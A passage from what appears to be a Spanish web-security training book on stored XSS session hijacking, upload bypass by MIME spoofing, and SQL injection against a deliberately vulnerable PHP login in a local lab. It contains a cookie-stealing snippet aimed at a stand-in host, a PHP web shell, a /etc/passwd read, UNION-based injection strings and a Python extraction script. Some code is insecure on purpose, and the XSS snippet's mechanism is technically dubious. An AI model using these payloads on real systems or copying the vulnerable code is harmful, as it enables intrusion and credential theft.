podemos crear nuevas cookies. En esta situación, aún podemos extraer algo útil. Si tenemos una cookie cuyo contenido es admin=0, tenemos sin lugar a dudas material para hacer pruebas. Estamos bajo los mismos principios que en los apartados anteriores. 2. Robo de sesión Está tremendamente extendido que la identificación de un usuario se tiene que hacer únicamente con un identificador almacenado en una cookie. Como JavaScript nos permite obtener el conjunto de cookies de una página gracias a document.cookie, es posible recuperar el identificador de la sesión de un usuario. Si éste es además el administrador del sitio web, es realmente peligroso. Una técnica para realizar esta operación consiste en escribir un post en un foro que contenga JavaScript. Cuando un usuario vaya a visualizar nuestro mensaje, el código JavaScript se ejecutará en su navegador. Toda la astucia recae en memorizar en la variable document.referrer las cookies de la víctima y dirigirlas a nuestro sitio web. Cuando llegue, nos basta con guardar la información de la cabecera, referer, y que nos envíe, por ejemplo por email, esta información. Por lo tanto, tendremos un identificador de sesión del internauta. Nos dirigiremos al sitio web del foro y volveremos a crear una cookie idéntica a la de la víctima. De este modo el sitio web no puede distinguirnos de la víctima. Considera que se trata de una única persona. Por lo tanto tendremos los mismos permisos y podremos escribir posts en su nombre. ¡Podremos incluso cambiar su contraseña! Esta técnica es un ataque de tipo stored XSS. A continuación, mostramos un ejemplo de código que podemos poner en nuestro post en el foro: <script>document.referrer=document.cookie</script><a href=’’sitio_pirata.org’’>enlace</a> Incitamos a la víctima, con un mensaje motivante, a que venga a nuestro sitio web. Podemos obtener los datos transmitidos con un script PHP. A modo de ejemplo, mostramos cómo mostrarlos para realizar pruebas: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>xss</title> <meta name="GENERATOR" content="Quanta Plus"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <?php echo "Viene de:".$_SERVER[’HTTP_REFERER’]; ?> </body> </html> Vamos al foro atacado. Modificamos o creamos, según el caso, una cookie de sesión con Add N Edit Cookie. Modificación de una cookie de sesión con Add N Edit Cookie La ilustración presentada a continuación es un pequeño esquema del funcionamiento de este ataque. Las fases de un proceso de hijacking de sesión por XSS stored De este modo, nos identificamos como la víctima y obtenemos sus permisos. ¡Mágico! Por supuesto hemos copiado el identificador gracias a la visualización en el sitio pirata. Pero en la práctica deberíamos obtener esta información por otra vía: escritura en archivo de texto, email, ftp, etc. 3. El almacén de archivos perjudiciales Con la llegada de los sitios web dinámicos y el aumento de los servicios ofrecidos a los internautas, es común tener la posibilidad de subir un archivo al servidor que ofrece el servicio. Por ejemplo, guardar nuestro avatar, una foto en el foro o incluso un documento de oficina. Por lo tanto, es muy importante que el servidor compruebe el tipo y el tamaño del elemento enviado, por si acaso no es una imagen sino realmente código ejecutable. El tipo MIME define la naturaleza del archivo siguiendo una norma. A continuación se muestran unos ejemplos:  image/jpeg: imagen de tipo jpeg, definido en la RFC2045 y 2046.  image/gif: imagen de tipo gif, definido en la RFC2045 y 2046.  text/html: documento de tipo html, definido en la RFC2854.  application/pdf: archivo de tipo pdf.  application/msword: archivo de tipo Microsoft Word.  etc. Si al servidor le basta con comprobar el tipo MIME del archivo, podemos cambiarlo antes del envío. Entonces, se puede hacer creer al servidor que está recibiendo una imagen lo que en realidad es un archivo PHP. En la imagen siguiente interceptamos el envío de un archivo PHP. Podemos modificar su tipo MIME en Multipart - <nombre del componente> - Content-Type. Cambiamos application/octet-stream por image/jpeg para engañar al servidor. Modificación del tipo MIME antes de subir un archivo Una vez se ha subido nuestro archivo, basta con llamarlo desde nuestro navegador para que se ejecute. Si además, el servidor permite el uso de la función exec() o system() en PHP, podremos ejecutar directamente comandos en él. Este fallo es muy peligroso ya que el servidor puede entonces servir como base para atacar a otros sitios web. A continuación, se muestra un ejemplo de archivo PHP que inicia un comando en el servidor: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>exec</title> <meta name="GENERATOR" content="Quanta Plus"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> </head> <body> <form method="POST" name="exec"> Entre un comando: <input type="text" name="comando"><br> <input type="submit" name="Ejecutar" value="exec"> </form> <hr> <?php if (isset($_POST[’comando’])) { $comando = stripslashes($_POST[’comando’]); system($comando); } ?> </body> </html> Con este formulario podremos listar por ejemplo los usuarios del servidor introduciendo more /etc/passwd en el campo comando. A continuación se muestra el resultado: Este comando ya nos da mucha información sobre el servidor. Por supuesto, tenemos limitados nuestros los permisos puesto que ejecutamos los comandos con los permisos del servidor web, generalmente www-data lo que es, cuando menos, peligroso. SQL Injection 1. Preámbulo La escena de Internet ha cambiado completamente en los últimos diez años. Las aplicaciones Web han pasado de ser simple información a auténticas plataformas de trabajo colaborativo, de información en tiempo real, de zona de intercambio, etc. Esta evolución ha traído la necesidad de almacenar cada vez más información, provocando la aparición de las bases de datos, que hasta el momento se usaban principalmente en grandes empresas, en la Red. Actualmente nos cuesta pensar en una aplicación web que no necesite una base de datos. Además, otro factor que ha propiciado el uso de bases de datos es la evolución de los servicios públicos que ha llevado al Estado a proporcionar documentos y servicios de forma telemática a los usuarios. Todo esto desemboca en la apertura a bases de datos grandes que a su vez son muy codiciadas por los atacantes. La seguridad de las bases de datos es, por tanto, uno de los aspectos más importantes a tener en cuenta. En los puntos anteriores, hemos pasado muy por encima el ataque por SQL Injection. Recordemos que SQL (Structured Query Language) es el lenguaje de las bases de datos. Vamos a explicar más profundamente esta técnica ya que es una de las más peligrosas y cuyas consecuencias son de las más graves. Desde un punto de vista general, todas las inyecciones tienen que tomarse muy en serio. Consisten en ejecutar comandos que no están previstos inicialmente por los programadores de la aplicación Web. Están en la primera posición de la clasificación en el documento "The Ten Most Critical Web Application Security Risks" del OWASP (The Open Web Application Security Project). Esta clasificación de los diez riesgos más importantes de las aplicaciones Web es una buena referencia internacional. 2. Introducción a las bases de datos Podemos definir una base de datos como una colección de datos relacionados. Entendemos por colección de datos todo el conjunto de información recopilada de forma coherente. Esto implica que una base de datos no puede ser un conjunto de información aleatoria. Un simple archivo de tipo tabla agrupando el nombre, la dirección y el número de teléfono de personas se considera una base de datos. Por supuesto, las bases de datos sólo son una opción realmente interesante cuando la cantidad de información que deben tratar es suficientemente grande. En este caso, un simple archivo de tabla no es suficiente. Además, las conexiones entre varias tablas o entre varias bases de datos incrementan la potencia y la flexibilidad en la búsqueda de información. Es por estas razones que se desarrollan paquetes de programas muy complejos que permiten la gestión de grandes cantidades de información, llamados SGBD (Sistemas de Gestión de Bases de Datos). Existen multitud de ellos, siendo más o menos potentes, pero no entraremos en comparativas ya que no son el objetivo de este libro. Nos centraremos en MySQL que es uno de los más extendidos por la Web junto con PostgreSQL, sabiendo que los problemas explicados también se extrapolan al resto de SGBD, aunque quizá con pequeñas adaptaciones. Normalmente, ya tendremos instalado nuestro servidor MySQL en los apartados anteriores, pero si éste no es el caso, recordemos el procedimiento de instalación en un sistema Linux Debian. En el momento en que estamos escribiendo este libro nos basamos en un Debian/Lenny en versión stable y la versión 5 de MySQL. El comando para la instalación se resume en una simple línea que hay que ejecutar como administrador del sistema (root): aptitude install mysql-server Este comando instala tanto el servidor como el cliente. Durante la instalación, se solicitará la constraseña para el administrador principal de la BD (Base de Datos). Un SGBD no sólo gestiona datos, sino que también gestiona el acceso a éstos. Estos permisos pueden establecerse de forma afinada para que, por ejemplo, un usuario solamente pueda acceder a un campo de una tabla determinada. La creación de usuarios y la administración de los permisos es bastante pesada, aunque posible, utilizando simplemente la línea de comandos. También existen herramientas gráficas, más cómodas. Por lo que a nosotros respecta, proponemos el uso de mysql-admin que se instala simplemente con el comando siguiente: aptitude install mysql-admin Con esto ya estamos listos para administrar nuestra base de datos. MySQL es capaz gestionar varias bases de datos al mismo tiempo. La primera acción que realizaremos es crear una nueva base de datos, ya que por el momento sólo existen dos: information_schema y mysql. La primera contiene metadatos que nos proporcionan información sobre el resto de bases de datos que gestiona el servidor así como los permisos de los usuarios. Estas tablas están accesibles sólo en modo lectura, ya que son vistas. No entraremos más profundamente en esta materia. La segunda base de datos es de las más importantes ya que es la que contiene los permisos de todos los usuarios. Conectándonos como administrador: ENI:/home/codej# mysql -u root -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 41 Server version: 5.1.49a-24+lenny4 (Debian) Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer. mysql> Visualizamos las bases de datos en el sistema con el comando show databases: mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | +--------------------+ 2 rows in set (0.00 sec) Comprobamos que hay las dos bases de datos de las que acabamos de hablar. Ahora crearemos nuestra propia base de datos con el comando create database: mysql> create database eni; Query OK, 1 row affected (0.00 sec) Ya sólo nos queda ir creando las tablas en esta base de datos. Empezaremos por crear, por ejemplo, una tabla de usuarios que contendrá los futuros usuarios del sitio web ENI. Para ello hay que definir los campos de esta tabla. Éstos serán de distintos tipos según los datos que queramos guardar. A continuación mostramos los principales tipos de datos que podemos usar:  INT: tipo de datos que permite almacenar un número entero con signo en 4 bytes.  DATE: tipo de datos que permite guardar una fecha.  TIME: tipo de datos que se usa para guardar una hora.  VARCHAR: tipo de datos correspondiente a una cadena de caracteres.  BLOB y TEXT: tipos de datos que almacenan un objeto binario de gran tamaño.  ENUM y SET: tipos de datos que permiten guardar una cadena que se encuentre en una lista definida. Siempre es muy importante definir los campos de la forma más precisa posible en relación a la información que deben contener. Es una primera fase de seguridad que impedirá al pirata guardar todo lo que desee en nuestra tabla si ésta ha sido pirateada. Creemos nuestra tabla e insertemos algunos registros en ella: mysql> use eni; Database changed mysql> create table usuarios (id INT NOT NULL, apellidos VARCHAR(50),nombre VARCHAR(50), usuario VARCHAR(20), contrasena VARCHAR(30)); Query OK, 0 rows affected (0.41 sec) mysql> insert into usuarios values(23456, ’Dalí’,’Salvador’,’sdali’,’z34bx4TH’); Query OK, 1 row affected (0.00 sec) mysql> insert into usuarios values(64513, ’Picasso’,’Pablo’,’ppicasso’,’A23vb3sD’); Query OK, 1 row affected (0.00 sec) mysql> insert into usuarios values(42874, ’Miró’,’Joan’,’jmiro’,’S45qj7xsD’); Query OK, 1 row affected (0.00 sec) mysql> insert into usuarios values(46783, ’Theotocopuli’,’Dominico’,’elgreco’,’F56ty2qY’); Query OK, 1 row affected (0.00 sec) mysql> insert into usuarios values(12647, ’Goya’,’Francisco’,’fgoya’,’V28st3qq’); Query OK, 1 row affected (0.00 sec) En primer lugar, hay que indicar a MySQL que queremos utilizar la base de datos eni con el comando use eni. A continuación, creamos la tabla usuarios con 5 campos, un entero y 4 cadenas de caracteres de longitud variable cuyos nombres son lo suficientemente explícitos. Insertamos finalmente 5 usuarios en la tabla con los comandos insert. Recordemos que las cadenas de caracteres se introducen entre comillas simples mientras que el entero se escribe tal cual. Cabe decir que esta primera tabla de usuarios presenta un error grave pero intencionado que afecta a la seguridad del sitio web: las contraseñas de los usuarios se guardan sin encriptar. Es un grave error de principiante. Toda contraseña tiene que encriptarse. De este modo, si un pirata consigue extraer información de nuestra tabla, no tendrá todas las claves para identificarse en nombre de otro usuario, y le faltará desencriptar las contraseñas. Además, el proceso para encriptar datos en MySQL es más que trivial, ya que MySQL proporciona una función para ello. A continuación un ejemplo de buenas prácticas: mysql> insert into usuarios values(43687,’Velázquez’,’Diego’,’dvelazquez’,password(’K23ge6ax’)); Query OK, 1 row affected, 1 warning (0.00 sec) Visualicemos el conjunto de registros de nuestra tabla: mysql> select * from usuarios; +-------+--------------+-----------+------------ +--------------------------------+ | id | apellidos | nombre | usuario | contrasena | +-------+--------------+-----------+------------ +--------------------------------+ | 23456 | Dalí | Salvador | sdali | z34bx4TH | | 64513 | Picasso | Pablo | ppicasso | A23vb3sD | | 42874 | Miró | Joan | jmiro | S45qj7xsD | | 46783 | Theotocopuli | Dominico | elgreco | F56ty2qY | | 12647 | Goya | Francisco | fgoya | V28st3qq | | 43687 | Velázquez | Diego | dvelazquez | *E5869CA6941E6ED94BFCB3D2D2ADC | +-------+--------------+-----------+------------ +--------------------------------+ 6 rows in set (0.00 sec) Como vemos, la contraseña del último usuario no es legible. Esto es debido a que se ha utilizado el comando password de MySQL. Comprobemos este comando: mysql> select password(’K23ge6ax’); +-------------------------------------------+ | password(’K23ge6ax’) | +-------------------------------------------+ | *E5869CA6941E6ED94BFCB3D2D2ADC157A4C56D1D | +-------------------------------------------+ 1 row in set (0.00 sec) Cabe decir que nos encontramos con la contraseña encriptada del usuario dvelazquez, pero parece que es más larga. En efecto, ocupa 41 caracteres mientras que hemos declarado un campo de 30 caracteres para la contraseña de nuestra tabla. Vamos por tanto a corregir este error, el objetivo era aprender a manipular la base de datos para comprender los ataques en las BBDD y no el de realizar un curso completo. Podríamos pensar que se ha producido un evento anormal en la inserción de este usuario ya que nos devolvió un warning. Modificamos la longitud del campo contrasena: mysql> alter table usuarios modify contrasena varchar(41); Query OK, 6 rows affected (0.04 sec) Records: 6 Duplicates: 0 Warnings: 0 Actualicemos la contraseña de dvelazquez: mysql> update usuarios set contrasena=password(’K23ge6ax’) where apellidos=’Velázquez’; Query OK, 1 row affected (0.01 sec) Rows matched: 1 Changed: 1 Warnings: 0 Comprobemos que la encriptación de la contraseña esté bien: mysql> select * from usuarios; +-------+--------------+-----------+------------ +-------------------------------------------+ | id | apellidos | nombre | usuario | contrasena | +-------+--------------+-----------+------------ +-------------------------------------------+ | 23456 | Dalí | Salvador | sdali | z34bx4TH | | 64513 | Picasso | Pablo | ppicasso | A23vb3sD | | 42874 | Miró | Joan | jmiro | S45qj7xsD | | 46783 | Theotocopuli | Dominico | elgreco | F56ty2qY | | 12647 | Goya | Francisco | fgoya | V28st3qq | | 43687 | Velázquez | Diego | dvelazquez | *E5869CA6941E6ED94BFCB3D2D2ADC157A4C56D1D | +-------+--------------+-----------+------------ +-------------------------------------------+ 6 rows in set (0.00 sec) Ya está, mucho mejor. Realizamos una consulta en esta tabla como si quisiéramos comprobar que un usuario ha introducido correctamente su identificador con la contraseña correcta: mysql> select * from usuarios where usuario=’ppicasso’ and contrasena=’A23vb3sD’; +-------+-----------+--------+----------+------------+ | id | apellidos | nombre | usuario | contrasena | +-------+-----------+--------+----------+------------+ | 64513 | Picasso | Pablo | ppicasso | A23vb3sD | +-------+-----------+--------+----------+------------+ 1 row in set (0.00 sec) En el caso del usuario que tiene la contraseña encriptada, la consulta sería: mysql> select * from usuarios where usuario=’dvelazquez’ and contrasena=password(’K23ge6ax’); +-------+------------+--------+------------ +-------------------------------------------+ | id | apellidos | nombre | usuario | contrasena | +-------+------------+--------+------------ +-------------------------------------------+ | 43687 | Velázquez | Diego | dvelazquez | *E5869CA6941E6ED94BFCB3D2D2ADC157A4C56D1D | +-------+------------+--------+------------ +-------------------------------------------+ 1 row in set (0.00 sec) Todas las operaciones que acabamos de hacer han sido realizadas con el usuario root. Sin embargo, este usuario dispone de todos los permisos en todas las bases de datos. Por lo tanto, es adecuado crear un usuario cuyos permisos estarán estrictamente limitados a las acciones que deseamos que pueda efectuar. El comando que permite realizar estos ajustes es GRANT y aunque su uso está descrito de forma muy clara en el manual de MySQL, puede que sea más agradable usar una aplicación gráfica que ya hemos nombrado: mysql-admin. Ejecutémosla y veamos algunas funcionalidades. nauar@tulkass:~$ mysql-admin Nos encontramos con una pantalla de conexión al servidor de base de datos que queremos administrar: Elegimos conectarnos a nuestro servidor local, puerto 3306, que es el puerto por defecto de MySQL. Introducimos nuestro nombre de usuario, en este caso root, y la contraseña que dimos durante la instalación del SGBD. Haciendo clic en Connect pasaremos a la pantalla de administración del servidor. Vayamos a la sección User Administration y hagamos clic en New User. Informamos los distintos campos: nombre de usuario y contraseña, y hacemos clic en el botón Apply Changes. El nombre de usuario que hemos elegido para nuestra demostración es user_eni. Ya se ha creado nuestro nuevo usuario. Para evitar que este usuario pueda conectarse a nuestro servidor desde cualquier otra máquina, es preferible limitar sus posibilidades de conexión a únicamente un ámbito local. En efecto, este es el usuario que utilizarán los scripts en PHP para acceder a la base de datos. Si éstos están en el mismo servidor que el SGBD, la conexión será local. En el caso que el servidor web y el servidor de base de datos estén en dos servidores distintos, que es generalmente lo recomendado, será necesario proporcionar la dirección IP o el nombre del servidor web. Por razones de simplicidad, elegimos en nuestro ejemplo una conexión local e introducimos entonces la única posibilidad de conexión para nuestro usuario que deberá ser localhost tal y como muestra la imagen siguiente. Para llegar a esta situación, basta con seguir los siguientes pasos: 1- clic con el botón derecho del ratón en @%. 2- seleccionamos Add Host. 3- seleccionamos localhost. 4- clic en Ok. 5- clic con el botón derecho del ratón en @%. 6- seleccionamos Remove Host. 7- clic en Apply Changes. Nos falta un último paso que es atribuir los permisos a nuestro usuario user_eni en la base de datos eni realizando las acciones siguientes:  seleccionar @localhost debajo del usuario eni.  seleccionar la pestaña Schema Privileges. En efecto, una base de datos dispone de esquemas para representar los permisos de los usuarios. No profundizaremos más en los esquemas.  seleccionar el esquema eni.  arrastre SELECT, INSERT, UPDATE, DELETE de la lista Available Privileges a la lista Assigned Privileges.  haga clic en Apply Changes. Salimos de la aplicación gráfica de administración del servidor de base de datos. Conectémonos de nuevo por línea de comandos con este usuario que acabamos de crear para comprobar sus permisos. nauar@tulkass:~$ mysql -u user_eni -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 47 Server version: 5.1.49a-24+lenny4 (Debian) Type ’help;’ or ’\h’ for help. Type ’\c’ to clear the buffer. mysql> show grants; +------------------------------------------------------------------ ----------------------------------------------+ | Grants for user_eni@localhost | +------------------------------------------------------------------ ---------------------------------------------+ | GRANT USAGE ON *.* TO ’user_eni’@’localhost’ IDENTIFIED BY PASSWORD ’*81F9C96192E3F1DEB2479FC95A66C38CEB984570’ | | GRANT SELECT, INSERT, UPDATE, DELETE ON `eni`.* TO ’user_eni’@’localhost’ | +------------------------------------------------------------------ ------------------------------------------------+ 2 rows in set (0.00 sec) Comprobamos que el usuario que acabamos de crear tiene la posibilidad de conectarse en local y una constraseña que por supuesto está encriptada. También destacamos la segunda línea GRANT, con los permisos de SELECT, INSERT, UPDATE y DELETE en la base de datos, tal y como habíamos previsto. Comprobemos un poco estos permisos intentando crear una nueva tabla en la base de datos eni: mysql> use eni; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> create table test (id int); ERROR 1142 (42000): CREATE command denied to user ’user_eni’@’localhost’ for table ’test’ mysql> No funciona, tal y como nos lo indica el servidor. Es el comportamiento que esperábamos. Intentamos insertar un nuevo registro en la tabla usuarios: mysql> insert into usuarios value (23641,’Murillo’,’Bartolomé Estaban’,’bemurillo’,password(’AsZEkY2c’)); Query OK, 1 row affected (0.00 sec) Funciona sin ningún problema. Ya hemos aprendido una base de conocimientos para poder trabajar con inyecciones SQL. Por supuesto, las explicaciones han sido superficiales y es mejor profundizar un poco más con la ayuda de libros y documentos especializados. 3. Principio de las inyecciones SQL La inyección de SQL consiste en provocar la ejecución en el servidor de consultas SQL que no estaban previstas inicialmente. Para comprender los mecanismos que utiliza, lo más fácil es aprender a partir de la experiencia con un ejemplo. Vamos a escribir un script en PHP que nos permita realizar varias pruebas. Este script utilizará la base de datos y la tabla que ya hemos creado en el apartado anterior. El script que presentamos a continuación tiene como función inicial mostrar los apellidos y el nombre del usuario cuando se le facilita el identificador y la contraseña. A continuación mostramos el código php del script que vamos a guardar en el archivo identificacion.php: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Identificación</title> <meta name="GENERATOR" content="Quanta Plus"> <meta http-equiv="Content-Type" content="text/html; charset=utf- 8"> </head> <body> <h1>Identificación</h1> Introduzca su identificador y su contraseña:<br> <!-- el formulario permite la introducción del identificador y de la contraseña.--> <form action="" method="POST" name="identif"> Usuario: <input type="text" name="usuario" size="30"><br> Contraseña: <input type="password" name="contrasena" size="30"><br> <input type="hidden" name="ref" value="identificacion"> <input type="submit" name="validar" value="Validar"> </form> <hr> <!-- pasamos a php para procesar el formulario --> <?php //procesamiento del formulario if ($_POST[ref]==’identificacion’) { //obtención de los datos del formulario $usuario = $_POST[usuario]; $contrasena = $_POST[contrasena]; //en este punto sería interesante filtrar los datos, pero por el momento no lo haremos //conexión al servidor de BBDD $con = mysql_connect(’localhost’,’user_eni’,’user_eni’); if ($con) { echo "Conexión al servidor de BBDD.<br>"; //selección de base de datos if (mysql_selectdb(’eni’,$con)) { echo "Selección de la base de datos eni.<br>"; //envío de la consulta $req="SELECT nombre, apellidos FROM usuarios WHERE usuario=’$usuario’ AND contrasena=’$contrasena’;"; echo "Envío de la consulta: ".$req."<br>"; $id_req=mysql_query($req); if ($id_req) { $linea=mysql_fetch_array($id_req); if ($linea) { echo "<hr>"; echo "Su nombre: ".$linea[nombre]." y sus apellidos: ".$linea[apellidos]; } } else { echo "Error SQL<br>"; } } else { echo "Error de BBDD<br>"; } //Cierre de la conexión con el servidor mysql_close($con); } else { //mensaje de error echo "Error de conexión<br>"; } } ?> </body> </html> El archivo deberá guardarse en un lugar accesible por el servidor Apache 2, según las reglas que hayamos definido en la instalación de FOG Forum. Por ejemplo en la carpeta /home/eni/www/eni, en nuestro Debian Squeeze. El objetivo de este script es puramente pedagógico e indica en la página web las distintas etapas de conexión y de envío de la consulta al servidor. Además podemos seguir cada uno de los pasos que permiten al final lograr el resultado deseado. Para usarlo como se haría normalmente, basta con introducir un usuario, como por ejemplo ppicasso, y su contraseña, A23vb3sD para este ejemplo. Obtenemos la siguiente respuesta. Éste es el comportamiento que esperábamos. Nuestro script no funciona para los dos últimos usuarios de la tabla ya que su contraseña está cifrada. Este caso no se ha tenido en cuenta en la consulta enviada al servidor. Si llegamos a obtener un comportamiento no esperado del servidor, entonces podemos hablar de fallo de seguridad. El nivel de peligro que éste engendra habrá que determinarlo. Puede variar desde una simple visualización un poco diferente y sin gravedad hasta un acceso con control total del servidor. El principio en el que se basa una inyección SQL es cerrar la cadena rápidamente insertando una comilla simple (’) y completando la consulta para obtener una respuesta distinta de la que debería haberse dado normalmente al usuario. Comenzamos a probar para comprobar si nuestro formulario acepta una comilla simple en sus campos. Podemos comprobar este comportamiento tanto en el campo Usuario como en el campo Contraseña. A continuación se muestra el resultado de haber colocado una comilla simple en cada campo. Podemos comprobar cómo el apóstrofe pasa perfectamente. Esto no era así en las versiones anteriores. En efecto, si editamos el archivo /etc/php5/apache2/php.ini, podemos observar que la directiva magic_quotes_gpc tiene el valor Off. Esta directiva provoca el escape automático de las comillas simples y dobles cuando está puesta a On. La política de PHP ha cambiado mucho estos últimos años. Antes los parámetros de seguridad estaban activados a On en el archivo php.ini, pero esto entrañaba cierta confusión. En efecto, ya no sabemos según la versión lo que está protegido frente a lo que no está protegido. La política actual es, por tanto, no poner ninguna protección y dejarlo todo a la elección del programador. Por lo menos está claro. Además, si lee la documentación de PHP podrá comprobar que muchas opciones, inicialmente llamadas de seguridad, son clases obsoletas. En el caso en que el campo de entrada espere un número, ya no es necesario colocar una comilla para completar la consulta como deseamos. Por supuesto, si el sitio web está construido correctamente con un filtrado adaptado de datos, será imposible realizar una inyección. Pero situémonos en el caso en que la inyección es posible. Si hubiéramos querido pasar apóstrofes para una visualización en una página Web, la función htmlentities() habría sido la más adecuada. Pero el objetivo es mostrar un error de programación. Nuestro formulario es vulnerable; sin embargo lo comprobamos con la herramienta SQL Inject Me que hemos visto al final de la sección Utilización de formularios y vemos que no detecta ningún fallo. Nos sucede lo mismo si realizamos las pruebas con otra herramienta muy conocida llamada Wapiti. Todo esto nos muestra que nada reemplaza nuestra capacidad de observación y de reflexión. Por muchas herramientas eficientes que nos puedan ayudar en la búsqueda de fallos en un sitio Web, ninguna reemplazará al hombre. Seamos por lo tanto un poco malvados e introduzcamos como nombre de usuario cualquier cosa y como contraseña ’ or 1=1 #; veremos aparecer el nombre y los apellidos del primer usuario guardado en la tabla usuarios. Luego nuestro formulario es vulnerable a las inyecciones SQL, aunque hay que saber explotar este fallo para obtener más información. El primer software que hay que instalar antes de realizar inyecciones un poco más complejas es una herramienta que nos permitirá introducir lo que queramos en el campo de la contraseña visualizándolo perfectamente. En efecto, este campo aparece con los asteriscos y está además limitado a 30 caracteres, lo que limita las posibilidades de inyección. Ya conocemos herramientas capaces de ayudarnos: WebScarab y BurpSuite. Pero no siempre estamos obligados a usar aplicaciones que consuman muchos recursos. Existe un pequeño add-on para Firefox que nos permite manipular los campos de los formularios como nos parezca. Se llama Tamper data. Como trabajamos desde un sistema Debian/Lenny, nuestro navegador no debería ser realmente Firefox, sino Iceweasel. Nosotros hemos optado por instalar Firefox en nuestro sistema, pero si se quiere usar Iceweasel, el add-on ofrecido desde el sitio web clásico de Firefox no funcionará. Es preferible buscar el que está disponible en la dirección siguiente: http://tamperdata.mozdev.org/. Es una versión un poco más antigua pero funciona perfectamente para el uso que le vamos a dar. Una vez que se haya instalado el archivo xpi y después de reiniciar nuestro navegador dispondremos de un nuevo ítem en el menú Herramientas que es Tamper data. Iniciamos esta herramienta. Nos aparece una ventana como la que acabamos de mostrar y podemos hacer clic en Comenzar modificación. Confirmamos nuestro formulario con los campos vacíos. Comprobamos que Tamper data intercepta nuestro envío y que podemos modificar el contenido de los campos del formulario como nos parezca. Podemos incluso modificar la cabecera de la petición, lo que permite la explotación de otros fallos además de las inyecciones SQL. Supongamos que nuestro objetivo es el de encontrar el identificador y la contraseña del primer usuario de la tabla. Para ello hay que completar la consulta para desencadenar otra. El comando UNION de MySQL nos va a ser muy útil. Permite combinar peticiones, pero debe usarse con cuidado. Esta combinación sólo puede funcionar si el número de campos es idéntico en todas las consultas. Para obtener el usuario y la contraseña del primer usuario, hay que inyectar una petición seleccionando estos dos campos de la tabla. A continuación se muestra la inyección que hacemos en el campo contrasena, el campo usuario tiene poca importancia, introduciremos "test": ’ UNION SELECT usuario, contrasena FROM usuarios # La petición enviada al servidor MySQL es por lo tanto la siguiente: SELECT nombre, apellidos FROM usuarios WHERE usuario=’test’ AND contrasena=’’ UNION SELECT usuario, contrasena FROM usuarios #; La respuesta del servidor a esta consulta es: +------------+-------------------------------------------+ | nombre | apellidos | +------------+-------------------------------------------+ | sdali | z34bx4TH | | ppicasso | A23vb3sD | | jmiro | S45qj7xsD | | elgreco | F56ty2qY | | fgoya | V28st3qq | | dvelazquez | *E5869CA6941E6ED94BFCB3D2D2ADC157A4C56D1D | | bemurillo | *DB1AB4B8A3A8AB0A943412D6AE75994B8A03DBC2 | +------------+-------------------------------------------+ 7 rows in set (0.00 sec) Como nuestro script sólo lee la primera línea de la respuesta, el navegador nos mostrará en la página web el siguiente resultado. Lo hemos conseguido, en la parte inferior de la página vemos el usuario y la contraseña del primer usuario añadido a la tabla. Es bastante fácil buscar los otros registros con el comando LIMIT. Éste recibe uno o dos argumentos para limitar el número de registros devueltos. Cuando pasamos dos argumentos a LIMIT, el primero indica el desplazamiento respecto al primer registro de la respuesta y el segundo el número de registros que queremos leer. Si completamos nuestra inyección añadiendo una cláusula LIMIT, podemos leer los datos del segundo usuario. Ésta es la inyección que hay que realizar: ’ UNION SELECT usuario, contraseña FROM usuarios LIMIT 1,1# De este modo podemos recorrer el conjunto de datos de la tabla usuarios incrementando el desplazamiento. Evidentemente, si esta tabla es larga, esta operación nos tomará bastante tiempo. Podríamos ayudarnos de alguna herramienta para automatizar esta acción. Por ejemplo usando wfuzz, de la que ya hemos hablado anteriormente. Pero a estas alturas, ya es hora de empezar a construirnos nuestras propias herramientas para adaptarlas perfectamente a la situación que deseamos tratar. Uno de los lenguajes mejor adaptados para automatizar peticiones web y procesar los resultados es Python. Puede encontrar un muy buen curso de este lenguaje en la siguiente dirección: http://mundogeek.net/tutorial-python/ A continuación mostramos el script que hemos creado (inyeccion.py): #!/usr/bin/python #-*- coding:utf-8 -*- # script de inyección SQL para obtener el usuario y la contraseña de los usuarios import httplib, urllib # definición de las variables servidor sitio = "localhost" puerto = 80 formulario = "/eni/identificacion.php" # definición de los campos del formulario usuario="test" contrasena="" ref="identificacion" validar="Validar" for campo in range(1,10): #creación del campo contrasena con incremento del decalaje contrasena="’ UNION SELECT usuario, contrasena FROM usuarios LIMIT "+str(campo)+",1 #" #creación de los parámetros que se enviarán parametros = urllib.urlencode({’usuario’:usuario,’contrasena’:contrasena, ’ref’:ref,’validar’: validar,’validar’:’Buscar’}) #creación de la cabecera headers = {"Content-type":"application/x-www-form- urlencoded","Accept":"text/plain"} #conexión al sitio conn = httplib.HTTPConnection(sitio+":"+str(puerto)) #envío de la petición POST conn.request("POST",formulario,parametros,headers) #lectura de la respuesta response = conn.getresponse() #comprobación si la respuesta es 200, entonces todo habrá ido bien y tratamiento de los datos de retorno codigo_retorno = response.status if (codigo_retorno == 200): #lectura de los datos de la página de retorno data=response.read() #detección de la posición de las palabras Su nombre y </body> que encuadran los elementos que nos interesan posicion1 = data.find(’Su nombre’) posicion2 = data.find(’</body>’) #extracción de los datos que nos interesan dato=data[posicion1:posicion2-1] #visualización print dato conn.close() Este script utiliza dos librerías muy útiles httplib y urllib que permiten el envío de peticiones a servidores web. El programa trata los datos devueltos para extraer los datos que nos interesan. A continuación se muestra el resultado de su ejecución: Comprobamos que obtenemos el conjunto de usuarios y contraseñas de los usuarios. Cabe decir que si este fallo existe realmente en un servidor pero los programadores han tomado la precaución de encriptar las contraseñas, el pirata tendrá todavía que romper el cifrado. Éste es el caso de los usuarios dvelazquez y bemurillo. Esta última fase está lejos de ser asequible ya que el cifrado es relativamente fuerte. El pirata por lo tanto estaría bloqueado a las puertas del sitio web. Hasta aquí todo nuestro enfoque parece funcionar perfectamente. Pero nos hemos olvidado de un elemento esencial, nuestro servidor es muy locuaz. Hemos supuesto hasta ahora que conocíamos perfectamente la estructura de la 